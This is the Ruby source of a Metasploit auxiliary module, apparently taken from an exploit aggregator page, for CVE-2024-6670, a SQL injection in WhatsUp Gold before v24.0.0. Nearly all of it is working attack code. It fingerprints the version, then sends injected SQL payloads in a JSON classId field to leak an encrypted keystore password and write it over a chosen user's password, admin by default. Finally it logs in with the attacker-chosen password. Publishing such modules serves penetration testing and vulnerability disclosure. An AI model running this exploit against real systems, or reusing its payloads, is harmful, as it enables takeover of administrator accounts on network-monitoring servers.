Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-HTTP-WHATSUP_GOLD_SQLI-
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
CheckCode = Exploit::CheckCode
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WhatsUp Gold SQL Injection (CVE-2024-6670)',
'Description' => %q{
This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of an existing user (such as of the default admin account)
to an attacker-controlled one.
WhatsUp Gold versions < v24.0.0 are affected.
},
'Author' => [
'Michael Heinzl', # MSF Module
'Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)' # Discovery & PoC
],
'References' => [
['CVE', '2024-6670'],
['URL', 'https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024'],
['URL', 'https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-1185/']
],
'DisclosureDate' => '2024-08-29',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => 'True'
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username of which to update the password (default: admin)', 'admin']),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'NmConsole/app.json')
})
return CheckCode::Unknown unless res && res.code == 200
data = res.get_json_document
data_js = data['js']
version_path = data_js.find { |item| item['path'] =~ /app-/ }['path']
version = version_path[/app-(.*)\.js/, 1]
if version.nil?
return CheckCode::Unknown
else
vprint_status('Version retrieved: ' + version)
end
return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('23.1.3')
Exploit::CheckCode::Safe
end
def run
body = {
KeyStorePassword: datastore['NEW_PASSWORD'],
TrustStorePassword: datastore['NEW_PASSWORD']
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NmConsole/WugSystemAppSettings/JMXSecurity'),
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 500
fail_with(Failure::UnexpectedReply, 'Unexpected server HTTP status code received.')
end
marker = Rex::Text.rand_text_alpha(10)
deviceid = Rex::Text.rand_text_numeric(5)
body = {
deviceId: deviceid.to_s,
classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='#{marker}'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--",
range: rand(1..9).to_s,
n: rand(1..9).to_s,
start: rand(1..9).to_s,
end: rand(1..9).to_s
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'),
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.body == 'false'
fail_with(Failure::UnexpectedReply, 'Unexpected server response received.')
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/Filter/AlertCenterItemsReportThresholds')
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected server response received.')
end
json_body = res.get_json_document
result = json_body.find { |item| item['DisplayName'].start_with?(marker.to_s) }
unless result
fail_with(Failure::UnexpectedReply, 'Coud not find DisplayName match with marker.')
end
display_name = result['DisplayName'].to_s
display_name_f = display_name.sub(marker.to_s, '')
byte_v = display_name_f.split(',')
hex_v = byte_v.map { |value| value.to_i.to_s(16).upcase.rjust(2, '0') }
enc_pass = '0x' + hex_v.join
vprint_status('Encrypted password: ' + enc_pass)
body = {
deviceId: deviceid.to_s,
classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = #{enc_pass} where sUserName = '#{datastore['USERNAME']}';--",
range: rand(1..9).to_s,
n: rand(1..9).to_s,
start: rand(1..9).to_s,
end: rand(1..9).to_s
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'),
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.body == 'false'
fail_with(Failure::Unreachable, 'Unexpected server response received.')
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NmConsole/User/LoginAjax'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['NEW_PASSWORD'],
'rememberMe' => 'false'
}
)
json = res.get_json_document
unless res && res.code == 200 && res.get_cookies.include?('ASPXAUTH') && json['authenticated'] == true
fail_with(Failure::NotVulnerable, 'Unexpected response received.')
end
store_valid_credential(user: datastore['USERNAME'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
print_good("New password for #{datastore['USERNAME']} was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}")
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'NmConsole/#home'))}")
end
end